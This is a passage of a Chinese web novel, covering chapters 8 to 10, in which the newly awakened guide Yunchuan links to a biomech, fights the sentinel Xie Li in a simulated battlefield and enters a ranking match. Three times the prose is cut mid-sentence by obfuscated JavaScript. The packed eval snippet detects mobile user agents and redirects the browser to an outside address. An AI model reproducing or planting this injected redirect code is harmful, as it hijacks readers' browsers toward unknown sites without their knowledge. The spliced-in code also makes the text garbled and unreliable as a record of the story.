她本以为她们来得还算早，谁料此刻走廊上已经人满为患。 感觉整个圣所的觉醒者都集中到这儿来了。 乔琳一只手紧紧拉着云川，娇小的身体灵活如游鱼，带着云川在人潮中穿梭。 终于，她们挤到了最里面的一间。 奇怪的是，相较其余机房，来这里的人少得可怜，只有零星几个机舱在运行中。 难道这里的机器设备比较老旧吗？ 然而，很快，云川就发现自己想错了。 在她躺入胶囊机舱，戴上脑机头盔时，云川赫然发现了舱内壁上所镌刻的一行细小的文字。 【漫游者XVI-931206】 但就在这瞬间，一阵尖锐的神经疼痛袭击了她！ 8. 不灭灯塔08 惊悚的麻痹感细细密密筛过云川的头皮，带给她一种强烈的刺激和恍惚。就好像她此刻身处的不是脑机机舱，而是在被注入过量麻醉药物后像块死肉一样被摆在了实验台上。 有泛着冷光的仪器伸出探头，开始对她的头颅乃至大脑进行精密处理。 ——切皮。钻孔。铣骨。 ——剪开脑膜。 ——从前额至后脑，她的神经正在被一点点剥离。 云川忍无可忍地尖叫：“停下！！！” ……仿佛石子掷入意识的湖心，原本平静的死水泛起层层涟漪。 那向四周荡漾开的波纹持续搅弄着云川的理智，此刻的她分辨不清自己是否真的正在尖叫，又或者一切不过是飘荡在思维中的可怖幻象。 ……难道其他人接入脑机时的感觉也如此怪异吗？就好像大脑被活活解剖？ 好在，眼前的视野终于明亮起来。 云川剧烈喘息。 有风扬起她的发丝，一股无比真实的青草气味萦绕在她的鼻尖……所有感官无一不再提示她，她已顺利进入到模拟战场。 然而，还没等她看清周围，就因为身体上突然增加的强烈压迫感失去平衡，“咚”地一声脸朝下，栽倒了。 五体投地。 云川：“……” 为什么。 “噗哈哈哈哈，你没事吧？”不远处传来一阵爽朗的笑声，仔细听有点耳熟。 云川努力半天，还是没能抬起头看一眼来人。 ……她的身体突然变得很重，四肢也不受控制，让她没办法做出任何反应。 情况很不妙。 如果云川此刻所处的是真实的战场，她可能下一秒就无了。 “对不起，我不是故意笑的。可是，哈哈哈哈，你现在好像一张饼啊哈哈哈哈，瘫得好平哦。” 来人没忍住笑意，大咧咧蹲在一旁，伸出手指戳了戳这个一进模拟战场就原地跌倒的倒霉蛋。 云川额角青筋直跳。 还没完全恢复冷静的大脑在此刻升起一个邪恶的想法，很想把这嘎嘎大笑的家伙给毒哑。 但最终还是理智占据上风。 意识到形势不利，云川深吸口气，非常诚恳对来人道： “你好，朋友，请救救我。” 这人绕着她转了个圈，口中啧啧称奇：“你好啊，我还是第一次在模拟战场里见到被漫游者机甲压得动弹不得的人呢！哈哈，你等等我拍个照留念一下哈——话说，朋友，你是不是把操作难度调成困难模式了？你要不重新设置一下吧，什么？你是新人，不知道在哪搞？” “按理来说，只要碰一下自己胸口就可以弹出个人面板，但你现在……哎，算了，我帮你翻个身吧。” “谢谢。” 云川脸埋在土里，根本看不见对方长什么样。 可当她闭上眼时，她的脑海中却自动勾勒出一台重型机甲，从正面看几乎没有脖子，头部与肩背直接连接，显得圆头圆脑。 然而这并不是一台可爱的机甲。 一个连接有两根粗壮机械杆的活动金属板从这台机甲右肩和手臂的间隙缓缓升起，顺着手臂外侧滑下，咔擦一声组合成了一把巨大的……铲子。 ——然后欻得将她铲翻了个面。 云川木木望天。 一片阴影笼罩头顶。一台白色的陌生机甲挡住大半虚拟的蓝色天空。 “你抬得动手臂吗？” 云川试了试：“不。” 于是对方用机甲另一只手握着她的手，在她胸口处按了下。 直到手臂被提起的时候，云川才赫然发现，自己整条手臂都被一种黑色的金属所覆盖，她却没有任何异样的感觉——就好像这层金属已经与她融为了一体，成为包裹住血肉的第二层皮肤。 可一个连嗅觉都做得如此逼真的沉浸式全息模拟战场，难道会单独忽略掉参与者对穿戴物的触觉感知吗？ 正想着，一块散发着蓝光的半透明面板从胸口处弹出来，飘浮在半空中。 云川只看了一眼，就被满屏的红锁震惊了。 “怎么样了？” “我的面板很多栏目都被锁死了。”云川说，“大部分属性被设置为百分之百，这正常吗？” “当然不正常啊！” 白色的机甲面罩嗖一声打开，有两条长长的小辫子垂下来，在云川眼前一晃一晃。 “你是不是被人整了啊，朋友？” 解厉吃惊地看着她。 云川：“嗯……不好说。” 解厉摇摇脑袋：“新人入门一般都会默认选择【寻觅者】系列动力装甲，虽然比不上【漫游者】那么灵活和舒适，但【寻觅者】相对难度更低，对精神力负担也非常小，即使G级也可以自由操纵。” 解厉一边说，一边把云川从地上拉起来，“唔，你这一身还真有分量……话说回来，朋友，你的精神力评级应该挺高的吧？毕竟漫游者脑机的使用权限只会对C级以上——也就是B、A、S等三个级别的觉醒者开放。当然，也只有这三个级别的人能和生物机甲进行精神链接。可是，这就涉及到一个问题——” “我从十二岁起就待在瑟银圣所了，不久前刚升B级，我认识这里的所有觉醒者，可我从来没见过你。” 解厉脸上的笑意忽然就消失了。 一个迷你脉冲激光炮从她机甲厚重的左肩升起，炮口散发着冰冷又灼热的蓝光，直直对准云川。 “你是谁？” “呃？” ……所以，解厉完全没认出她啊？ 云川下意识想推眼镜，但她的动作却被此时沉重的身体重量所打断。 不过，根据解厉的反应可以推测，云川自己的脸上也覆盖了面罩。 但她该怎么解除呢？ 云川感觉有点头疼。 她链接的这台漫游者完全没有任何操作指南，作为机甲新手的她唯一能从被锁定的面板中得到的信息，就是她此刻穿戴的这台生物机甲，其性能参数完全对标现实世界中的漫游者实体。 这就能解释，为什么云川会感觉身体如此沉重——她现在连人带机，加起来一共有好几吨重。之所以还没有被压成肉泥，是因为机甲“重构”了她。 这些糅杂了复杂机械系统的生物纤维与她交织在一起，正如当初包裹黑曼巴哨兵的黏液一样，完全覆盖了此刻的云川。 而这也是生物机甲的一大特性。 ——共生。 这意味着，操纵它的方式，一定比云川想象中简单。 解厉说，只有足够高的精神力才能够匹配漫游者，那么，现在，尝试对大脑下达指令—— 【开启精神链接。】 那瞬间，如同闪电划破天空，燧石撞出火花！某种奇异的灵感击中云川，让她自冥冥中听见一声高亢的嘶鸣！ 与此同时，眼前死气沉沉又红锁满满的个人面板，突然出现了波动！ 机型：漫游者XVI-931206 操作系统：【萤石9.0】核心处理器正在激活 正在同步单体神经网络…… ……0.1 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068144|163113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' %…… ……5%…… ……28%…… 神经网络同步率：98% ……99%…… “你真是瑟银圣所的人吗？！”见她没有回应，解厉面色愈发凝重，肩上的脉冲激光炮蓄势待发。 ……100%。 【漫游者XVI-931206已激活】 解厉不明白，为什么面前这个穿着漫游者初始黑甲的家伙突然陷入沉默长达五秒钟，但这显然让她变得更加可疑了！ 作为十二岁就进入圣所的哨兵，解厉在这八年中经历过无数次大大小小的模拟战场训练，却从来没在线上见过如此笨拙的漫游者！要知道，圣所任何觉醒者在上机之前都会学习专门的机甲操作教程，再怎么手忙脚乱也不至于到连手臂也抬不起的地步。 皇帝在上，她刚才亲眼看见这家伙脸朝下栽倒在地！ 什么傻逼能犯这种错误？ ——联想到昨天混蛋解锐带来的那些似是而非的消息，解厉心中原本那点淡淡的狐疑，顿时升级成了浓浓的警惕。 试想，一个从没见过的陌生人突然出现在自家圣所的模拟战场中，驾驶的还是目前帝国最先进的生物特装机甲，其中一定有什么猫腻！ 这绝对是联盟余孽的阴谋！他们一定是想要趁机渗透从而偷走核心数据！ 什么？你说联盟的科技水平比帝国高出了不知道多少倍根本不屑于用这种下三滥的手段？呵呵，谁知道呢。那帮老古董做出什么事都不足为奇。 解厉咬紧牙关，高度紧张，以至于根本听不见云川的话。 ……云川在漫游者被激活的霎那感觉身体没那么沉重了，她很小幅度地扭了扭脖子，终于松口气。 她本想第一时间撤下面罩，好让对面的解厉看清自己的脸，可谁知道她刚试图上前一步，解厉恶狠狠的眼神就扫了过来。 云川下意识停住脚步。 不对。 解厉的情绪好怪。 云川不动声色道：“你好，朋友。我是昨天走廊上遇见的那个蜘蛛向导，我的名字是——” 还没等她说完，云川突然一凛，下意识就往身旁躲去！ 几乎就在同一个瞬间，眼前突然爆发出一阵刺眼的蓝光，随即而来的是滚烫的温度！ 解厉向她开炮了！ 云川脑中升起立刻逃跑的念头！ 没办法，她真的太清楚自己屎一样的战斗水平了，和这些训练有素的觉醒者（尤其是哨兵）根本没办法比！ 她怀疑自己会被这突如其来的一炮痛击导致再起不能，因为就在刚才，她余光看见自己的痛觉程度被锁定在了100%！这意味着她可能会因为无法忍受疼痛而下线！ 可恶，究竟是谁在整她？ 就在云川眼睁睁看着那束激光冲向自己，做好了立地成盒的准备时，她的身体突然非常迅疾地腾空，躲过了攻击！ 云川：“？” 她意识到，有什么强有力的东西突然出现在了背后支撑着她，并猛地将她抛掷到了半空中！ ……那会是什么呢？ 身体在翻转，视野被倒置。 在颠倒的世界中，云川眼眸只能看到那些映在地面上的影子。 ——那些正在扭曲重叠，狂舞不歇的，巨大影子。 它们蠕行的姿态有多么柔软，身后响起的惨叫就有多么凄厉。 解厉：“你可以杀了我但为什么要拆了我的枪，我的炮，和我的甲啊不可以啊啊！” 云川：…… 云川：。 9. 不灭灯塔09 微风轻拂，草浪如缎。 解厉躺倒在模拟战场的草地中，阳光毫无保留地倾洒而下，在她的脸孔和机甲表面镀上一层淡金色的光辉。 所有的一切——包括她自己，看上去都如此静谧美好，仿佛艺术家笔下的温馨画卷。 可惜，空气中弥漫着的尚未消散的硝烟味，却无时不刻不在提醒解厉—— 这并不安宁。 解厉脑部不断加剧的神经痛警告她，是时候断开与脑机的精神链接了。 可她双眼望着天空，觉得自己其实正沉浸于梦境之中——她一定正在自己宿舍的大床上美美睡觉，而不是躺在狭窄的脑机机舱中，静待失败与死亡的降临。 原本湛蓝的天空渐渐被一团乌云遮蔽，那种压抑的深黑如同一张巨幕，沉甸甸覆盖住解厉的脸孔，令她无法呼吸。 她……感觉不到自己的右手了。 身下的草地微微颤抖着，似乎也在为即将到来的噩运恐惧地发颤。 ……一切，究竟是怎么发生的呢？ 时间回到十分钟前。 解厉惊愕地瞪着缠住自己机甲右臂的触肢！ 这台漫游者……明明刚才的外观看上去还只是没经过任何改造的初始机，被她攻击之后却突然显露出了生物武器！不仅及时帮助对方腾空躲过激光炮，还偷袭了她！ 触肢异常精准地绞住解厉，表面分布的一圈圈排列整齐的尖锐倒刺紧紧嵌入解厉机甲手臂的缝隙中，想要将她掀翻在地！ 解厉瞳孔骤然紧缩！ 这究竟是对方的脑机在进入模拟战场前就做了伪装，还是漫游者本身受到对方的精神力刺激，共生进化了？ 情况危急，解厉肩膀上一排排小型脉冲火炮吐出幽蓝火舌，瞬间如离弦之间冲向这根难缠的触肢！ 果然，觉察到危机，触肢立马灵巧挥舞着游开了。 但解厉也付出了代价——她右手臂的一块机甲被带了下来，露出大片毫无遮拦的皮肤。 这让解厉很不高兴，她的机甲虽然也属于漫游者系列，但在经过她的预设改装后，属于生物机械的部分已经很少了。 作为刚升到B级的觉醒者哨兵，解厉和共生机甲的精神共鸣还不算高，每次使用都会消耗大量精神力。因此，她最熟悉的方式还是更偏向于重火力攻击。 解厉抓紧时机，在触肢撤离的同时，机甲腿部的强力推进装置爆发出惊人速度，在空中翻滚躲过触肢的攻击！ 解厉唇角微微上翘，然而在她即将落地之前，她的笑容却突然凝固了！ 地面游走的影子怎么这么多……？ 沉闷的轰鸣声由远及近，解厉一寸寸拧过脑袋，视野中浮现出一个身影。 那是一台最普通不过的漫游者初始机甲，但也许是因为操纵者本身体态优越，导致包裹住她的生物机械纤维组合出的机甲在外形上要比寻常的修长许多。 然而，造型上的秀丽只是一时的障眼法，漫游者冰冷的黑色外壳仿佛吞噬了全部光线，可最令解厉感觉毛骨悚然的，还是那些从肩背蜿蜒而出的触手！ 不、不是？！ 这根本不止一条啊！ 一、二、三、四…… 怎么一共有八条触手！ 她是章鱼吗？！ 那些触手粗细不一，肥腻狰狞，不停地在她眼前扭曲挥舞，发出令人头皮发麻的“嘶嘶”。即使相隔甚远，以哨兵的视力还是能够清楚看见触手湿滑表面的奇异凸起。 明明也是黑色的，可就在某一瞬，解厉敏锐捕捉到了一些浊艳的色泽从那凸起下迅速蠕动而过，让她联想到人在做噩梦时眼皮下狂乱转动的眼球，给她一种下一秒就会睁开眼睛的既视感！ 咦喏！ 解厉心神巨震，这种怪异的联想让她情不自禁反胃。 她脑海中飞快闪现许多曾在模拟战场中接触过的怪物，其中也不乏变异的章鱼、水母或者蛇类，可没有哪一种能让她产生如此的厌恶和恐惧。 但最让解厉接受不了的，是她发现自己的目光居然无法从那些触手表面的凸起上挪开！她死死盯着那些突起，好像正与无数双森冷的眼睛对视！ ——这对吗？解厉在心中呐喊。 一定是精神污染！别看了别看了别看了别看了别看了！ 解厉发出一声咆哮，强行投掷烟雾弹。 霎那间，扩散的蓝色雾气遮住视线，解厉狼狈落地。 漫游者与她几乎同时间降落。 两台沉重的机甲让草地不堪重负，不少青草都被强大冲击力压得扁平，扬起一片尘土。以她们为中心蔓延出圈圈如蛛网般的裂纹，形成一个巨大的圆形洼地。 解厉在地上滚了几圈，很快被她手刹截停。 烟雾已开始消散，她影影绰绰观察到对面有几条触手不甘寂寞地插入地面，表面上的尖刺轻而易举穿透松软的泥土，带着一种诡异的节奏感。 不能等了！ 解厉率先发动攻击，迅速冲向漫游者，同时再次发射激光导弹。 数枚导弹拖着长长的尾焰雨点般从四面八方向漫游者飞去！ 漫游者明显趔趄了一下。似乎对这样强力的攻势无所适从，下意识开始在周围寻找掩体。可明明她身后的触手就是最好的盾牌，她却不知道如何使用！ 这糟糕的表现真的很像一个菜鸟！ 解厉暗中蹙眉。任何一个接受过战斗训练的人都明白一个道理，那就是在避无可避时最好的防守就是进攻！可对面现在在做什么？在广阔的大草地上抱头鼠窜？！都这个时候了，她在装什么新人？ 演给谁看啊？！！！ ……云川觉得自己离死不远了。 她惊魂未定地落地，还没站稳，对面烟雾里就炸出一片矛头直指自己的导弹，吓得她人已经麻了。 如果不是机甲支撑着她，云川会因为双腿发软原地跪倒。 她实在不明白解厉为什么要对自己下这种死手，还是说圣所的模拟战场本身就是这种你死我活的风格？ 可这不应该吧？就算是排位赛，现在也还没正式开始，至于这么先发制人吗？ 简直比当初那个黑曼巴还不讲武德！ 还有！那些触手是怎么回事？是机甲本身自带的吗？究竟要怎么操控？ 用意念？用真心？ 她想跑来着，可身体纹丝不动啊！ 就没有什么盾牌之类的防御措施吗？ 云川有点绝望。又有点愤怒。 眼看着密密麻麻的导弹即将贴脸，云川在原地下线和死里求生中摇摆了一会，还是决定冲一把。 她将恐惧和迟疑牢牢摁下心头，集中精神面对眼前的挑战。 闪避！！抵挡！！！ 一股无形的精神力场如水波往四周荡漾。 时间好像被无限拉长。云川能看见每一个拖曳着蓝色尾焰的导弹——这瞬间，它们的行动轨迹是如此清晰地倒映在她的眼中——她迅速侧身闪躲，动作轻盈如同鬼魅。 与此同时，身后几条触手猛地甩向空中，外表的尖刺将导弹外壳刺破，也将它们大力弹飞！ 成功了！ 导弹在半空中接二连三爆炸，如同白日绽放的烟花。 见攻击被化解，解厉立刻改变策略，一个急转弯绕到了漫游者身后，手臂的能量刃寒光闪耀，狠狠朝漫游者背部刺去！ 云川这时反应极快，她突然无师自通领悟了触手的用法，挥舞的四条触手中有三条都迅速回防，交叉挡在她的背后，与能量刃碰撞在一起，发出刺耳的摩擦声。另外四条原本钉入地面的触手也迅速抽出，灵活地朝解厉的机甲腿部缠去。 感觉到腿部传来的巨大压力，解厉当机立断，一边再次启动推进装置，试图用反推力挣脱束缚，一边将短刃切换成大刀，对着触手狠狠斩下！ 可就在刀刃即将切断触手的前一秒，触手突然释放出一股强大的电流，顺着机甲大腿传导至机身，导致解厉的机甲控制系统出现了短暂的失灵！ 可恶——！！！ 动力机械占主导地位的机甲就是这点不好，一旦操作系统故障，就很容易陷入被动！ 支棱起来啊！！！ 解厉心急如焚。她迅速启动修复程序，将大刀插入地面，猛地蹬地，借助惯性和推进器的力量，以大刀为轴心旋转起来，带起一阵剧烈的旋风。 这也行？ 云川被甩飞出去，机甲表面出现几道深深的划痕。 重型机甲制造的旋风和高速运转的切割机没什么区别。 她对解厉强大的核心力量叹为观止，可如果继续缠斗下去，她只会被活活耗死。 必须尽快结束战斗。 该怎么办呢？ 对面有什么弱点？她又有什么优势？ 云川的目光落在解厉的右手臂上，她从肩膀到手肘部位的机甲已经在刚才被触手拆掉了，此时那里毫无防备，是个显眼的靶子。 解厉举起左手！该死，她的掌心也是炮口！ 一阵耀眼的光束射向云川，她连忙朝旁滚去。 光束贴着她飞过，但也击中了一条触手，原本狂舞的触手顿时只剩下了半截，伤口处向下滴着粘稠的黑液，烧焦大片草地。 云川痛苦地闷哼一声，咬牙起身冲向解厉，试图操纵触手正面攻击。 对方装备的大多是重火力武器，她必须缩短彼此间的距离让她无炮可放。可解厉火力实在太猛了，该怎么接近她呢？ 不、不。也许不需要接近，近战对她来说也很吃亏。 有什么方法能够打断解厉—— 云川眼眸紧盯对面，大脑飞速运转，不放过她每一个细微的动作和每一丝不易察觉的激光闪烁。 她又要开炮了！还是那记掌心炮。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068145|163113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 既然这世界如此真实，那么……一些很久没使用过的公式和定理接二连三从云川脑海中浮现。 掌心炮角度。 风向。 风速。 …… 炮弹初速度。 云川分析计算着每一个数据。像感觉不到即将到来的危险。 掌心炮呼啸而出。爆烈的光照亮眼前！ 就是现在！ 云川奔跑中的身体突然滚倒在地，有两条原本挥舞向解厉的触手猛地改变方向，狠狠将冲向自己的炮弹往某个特定的方向抽去！动作干净利落，不带丝毫犹豫！ 霎那间，世界安静了。 面罩下云川的脸上没有丝毫畏惧。她闭上双眼，像早已洞悉一切的先知—— 刺眼的强光在草地上空绽放。原本柔和的青草被照得惨白。 解厉眼睛一点点睁大：“不——” 轰————！！！ 震耳欲聋的巨响压过了她的声音。那种好像大地深处被唤醒的愤怒咆哮无可匹敌地向四周扩散！ 巨大的冲击掀起一片尘土和硝烟。 云川和解厉被高高抛向空中，像被一双无形大手抓起又狠狠洒下！ “我操。” 云川阴沉道。 “我操操操！” 解厉惨叫道。 强大的气浪席卷一切。 在草丛被压倒的同时，云川和解厉失去了知觉。 …… 解厉感觉不到自己的右手了。 左小腿好像也失去了知觉。 头很痛。想吐。想骂人。 尤其是当她看见那台失去了所有触手的漫游者摇摇晃晃走向自己的时候，有很多污言秽语涌上她的喉头。 她张了张嘴，刚想喷射一波垃圾话，口中却真的吐出了一些东西。 解厉：“你这混……呃！——yue！！！” 解厉第一次在模拟战场中干呕。 此前她都不知道全息世界里的人物还可以呕吐。 ……有必要这么仿真吗？她是不是该庆幸自己的痛觉模拟才开了70%？ 云川疼得快死了。 她眼泪几乎都要流干。 她的内脏像是被搅拌机搅过一样，疼痛的潮水还在半空中时就快将她淹没。 她在被撕裂和被灼烧中嚎叫，最轻微的呼吸和移动都会带来钻心的疼痛。尤其是，那些触手就像她自己的肢体一样，每断掉一根，她的痛苦就加剧一分。 一团黑色的火焰在云川心中燃烧。 她死死盯着解厉，默默计算着与她之间的距离，想象着如何用最快的速度和最残酷的方法结束解厉的生命。 如果解厉能看见她脸的话，就会发现她极力压制的抽搐嘴角。 杀意如同即将爆发的火山，在云川平静的表象下汹涌。 一步。 强烈的恐惧笼罩解厉。她眼睁睁看着那可怕的机甲朝自己接近，却动弹不得。 两步。 她要杀了她！解厉牙齿打颤。她当然在模拟战场中经历过死亡，可她从没这样直面过死亡将近时的恐惧。快登出啊！——她要登出！！！ 三步…… 完蛋啦！解厉紧紧闭着眼睛。要死了要死了要死—— ……嗯？ 云川在距离她还有一步之遥的地方倒下。 她半跪在地上，垂着头一动不动。 解厉惊魂未定：“喂？” 没反应。 “喂!” 解厉又喊了几声。 也没动静。 不会先她一步凉了吧？那这局是不是算她…… “你个混蛋……”云川气若游丝，“杀了你……” 赢。 解厉：“你骂我干什么？”她有点委屈。 “你为什么攻击我？”云川断断续续地问，她比解厉更委屈，“我们昨天才见过的。” 她打开面罩。 解厉原本快闭上的眼睛在盯了她两秒钟以后瞬间瞪大。 “什么？怎么会是你！你你——” 她崩溃大叫：“是你你刚才为什么不说话？张下嘴巴很费劲吗？我又不是不讲武德！你知不知道我以为你是——” 戛然而止。 云川歪了歪头：“……是什么？” 解厉：“是什么不重要！重要的是，你为什么不解释？说你就是昨天走廊里那人？” 云川：“我解释了，可你轰我。” 解厉显然也回忆起了全部过程，语气顿时变得很心虚，但她还是故意虚张声势地抱怨：“但你沉默的时间也太久了吧，在我的视角来看真的很可疑啊啊啊！你当时到底在迟疑什么？” 云川：“我在思考！” 她举起地上一把长而尖锐的武器碎片，双手紧握，恶狠狠贯穿了解厉的咽喉！ 10. 不灭灯塔10 解厉猛地拔下脑机头盔，从机舱中弹射而起，捂着喉咙重重喘息。 她的接待员格瑞丝从操控观察台后跑过来，关切地摸了摸她满是冷汗的额头。 “厉，你还好吗？要不要喝点——” “止痛针！”解厉尖叫，“我要打止痛针！” “不行。”格瑞丝虽然神色忧虑，却十分坚决地驳回了解厉的要求。 这个有着一头蜷曲棕发的成熟女人侧坐在机舱旁，微微低头俯视解厉，“还记得你答应过我什么吗，厉？升到B级以后，你要学会逐步忍耐疼痛。这是优秀哨兵的基本素养，也是获得力量必须付出的代价。何况，你这一次的痛觉模拟仅有70%。” 格瑞丝有一双宁静而温柔的蓝眼睛，因此当她带着一丝忧郁凝视解厉时，解厉就总会屈服。 这次也不例外。 解厉低下头，手指抚摸咽喉：“可是……很痛。” “这只是脑机模拟出的痛觉，厉。”格瑞丝按住她的手腕。 此时一个圆柱形的机器人恰好移动到她们身边，于是格瑞丝用剩下那只手从机器人腹腔的隔空中取出一瓶淡粉色的液体，打开瓶盖，喂到解厉嘴边，“来喝点精神缓释剂。忍一忍，很快就没事了。” 是桃子味。解厉想。 看她脸色有所缓和，格瑞丝将她扶出舱室。 格瑞丝：“刚才和你对战的是新来的向导。A级。” “……猜到了。”解厉站定在机房里看了一圈，果然看见了正坐在其中一个机舱观察台后的乔琳。而乔琳也若有所觉地抬头，正对上她的目光。 “我昨天见过她，她很强。她好像叫云川？”解厉瓮声说，对乔琳露出一个龇牙咧嘴的笑容。 “是的。”格瑞丝对微微乔琳颔首，扶着解厉离开机房。直到走出很远以后，格瑞丝才再次开口，“她的精神力很强。” 解厉眉心一皱，有些挫败地叹了口气：“所以，她第一次链接生物机甲就能引发共生进化……这天赋也太作弊了。” “可再怎么天赋异禀，她也是个觉醒才一周的新手。”格瑞丝道，“厉，如果真要论起战斗素养，她完全不及你。可是你还是被杀死了，你觉得是为什么呢？” 解厉陷入沉思：“她反应很快……我好几次攻击都被她躲过。还有她机甲上长出的那几条触手，真是又恶心人又扛揍还攻击力强。我记得她的精神体是蜘蛛，一般来说，生物机甲共生进化后会出现一定的精神体动物特征，可她这个算什么情况？八条触手对应蜘蛛的八条腿吗？” “这并不是重点，厉。而且，云川这种情况不是个例。很多人的共生形象都和精神体不太一样。我想要让你思考的是，最后那一发掌心炮，为什么被命中的人是你？” “因为她把弹药反弹了回来——” “但为什么就会这么精确炸毁了你防御最薄弱，没有机甲保护的右臂呢？” “……” “显然，”格瑞丝慢慢说，“她精确计算了这一切。她知道弹药会落在那里。” “不可能！”解厉嚷嚷，“怎么有人能在那么短时间内算出这么复杂的东西？一定是她的机甲AI——” “她驾驶的漫游者XVI系列的核心处理器是【萤石9.0】，没有AI助手。” “我不管，这一定是巧合。”解厉嘀嘀咕咕，“我不信，我不听。” 格瑞丝摇头：“你又来这一套，厉。逃避是没有用的，如果想要成为顶尖高手，你还要继续在数学物理以及环境气象方面下功夫。只会一脑门往机甲上加火力装备可不够。” 解厉嚎叫：“你就饶了我吧！格瑞丝！我待会儿还有比赛！我需要保持一颗乐观积极的心——” 格瑞丝无动于衷：“排位赛会在下午一点正式开始，你有足够的时间调整心情。在此之前，我要和你商讨一件事，当然，你也可以选择不接受。” 解厉有些疑惑：“什么事？” 格瑞丝：“如果可以，和云川组队。” 解厉觉得自己两条小辫子炸起来了：“什么？！格瑞丝，她才刚刚杀了我！” “她能杀你，也能帮你。”格瑞丝揉了揉解厉乱糟糟的头发，耐心解释道，“她是A级向导，只要她想，她可以进入任何灯塔。可是，厉，如果你想争取保送名额，和云川合作是你最好的选择。她头脑聪明，做事又足够果断，和她做队友，比做对手要轻松得多。” “我……”解厉踌躇，“我得考虑一下。我还没准备好这么快面对她。而且，我以为这是个人排位赛？” “确实是按照单人总积分进行排位。”格瑞丝道，“但总积分，包括个人得分与团队得分。” 解厉追问：“几人团？” 格瑞丝伸出两根手指，“经典模式，二加四。” “经典模式也被称为二加四模式，团队一共六人，分别有两名向导和四名哨兵。您既可以选择提前组队，也可以在进入模拟战场后，等待系统自动匹配队友。”乔琳将上午加餐的小零食递给刚出机舱的云川，笑眯眯地说，“需要注意的是，博士，本次共有三轮比赛，每轮都是淘汰赛。尽管目前还不清楚具体的计分规则，但在战场中，往往留到最后的才是赢家。” 云川动了动僵硬的身体脖子。第一次链接脑机，她的精神有点萎靡，闻言只是点了点头。 见状，乔琳放轻语气：“我为您预约了十分钟后的身心灵理疗服务。您想喝点精神缓释剂吗？它能很好放松您的精神。” “谢谢你，乔琳，缓释剂就不用了，我自己可以调整。” 云川深吸一口气。尽管她的手还在因为模拟战场中经历的一切颤抖，但那种深入骨髓的痛楚已经随着她不断地自我心理暗示被消解了大半。 没错。一切都是假的。疼痛是假，死亡是假。 唯有战斗经验是真。 如果能获得更多关于漫游者XVI的数据就好了。在去往理疗中心的路上，云川暗暗思忖。 她只驾驶了一次机甲，对很多方面都一知半解。比如那些触手，它们为什么会长出来？这种情况是每个漫游者机甲都有吗？还是因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15068146|163113||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人而异？它们在不同环境下的适应性如何？在高温、低温、强辐射、真空等环境下能否正常运转？如果遇到具备冷冻能力的武器，触手的生物组织是否会冻结，从而影响灵活性和功能性？如果会，那么温度低至多少时会完全丧失活性？ 还有，这些触手在受到损伤后，是否可以自愈，是否需要特殊的修复手段？它们存在自我意识吗？如果存在，触手是否会对驾驶员的意识产生干扰或反噬？ …… 当天下午一点，云川再次进入模拟战场。此时，等候大厅不再是一望无际的草地，而是—— 战斗飞行器后舱。 舱室里面对面坐了两排人，每个人的打扮都一模一样，分辨不出是究竟是参赛者还是模拟士兵。 云川下意识和漫游者XVI精神链接，顺便查看机甲数据。 和上午的情况一样，还是满屏的红锁。 她眼底流光一闪。 这下，她确定针对自己的人来自圣所高层。 压力激发潜力。巨大的压力激发巨大的潜力。 作为向导，她觉醒时的年纪着实有点大，在生理方面已经错过了优化神经元连接的最好时机。同时，成年人——尤其是像她这样的研究员——已经趋于稳定的心理状态更是影响了向导情感共鸣能力的训练。以圣所的角度来说，二十一岁的云川已经太“老”，太“迟钝”了。 因此，她必须被放置在一个处处都是危机的环境中。 她必须身陷险境，她必须面临挑战，她必须遭遇死亡的威胁，甚至于直面死神。 只有这样，她那些已经被现实磨砺捶打过的棱角才会重新长出，她那颗看起来强大油韧的心脏才会重新变得敏感。 这是一场刺激性实验。云川想。 只是这一次，她所处的位置不再是高高在上的研究员，而是实验体本身。 云川垂下眼眸。 几乎同时，一个冰冷的电子音在舱室中响起。 “各位向导，各位哨兵，欢迎参加本次瑟银圣所排位赛。本次比赛共分为三轮，您现在即将开启的是第一轮次——病毒侵袭下的城市探索。” “阿莱城是一座古老而繁华的城市，位于一片广袤的平原与山脉的交界处。它曾经以其精美的建筑、繁荣的商业和独特的文化而闻名。城市中心有一座高耸的钟楼，钟楼的钟声曾经回荡在城市的每一个角落，象征着城市的生机与活力……然而，一种可怕病毒的爆发打破了城市的宁静。” “政府试图采取隔离措施，但病毒的传播速度太快，难以控制。民众陷入了恐慌，有些人试图逃离城市，但在城市的周边，军队设立了封锁线，防止病毒进一步扩散……城市里的人们四处寻找食物和安全的地方，人与人之间的信任逐渐瓦解，每一个人都在为自己的生存而挣扎。大量的病毒变异体游荡在居民区、商业街、工业园、剧院以及医院。整个城市都笼罩在绝望和恐惧之中。” 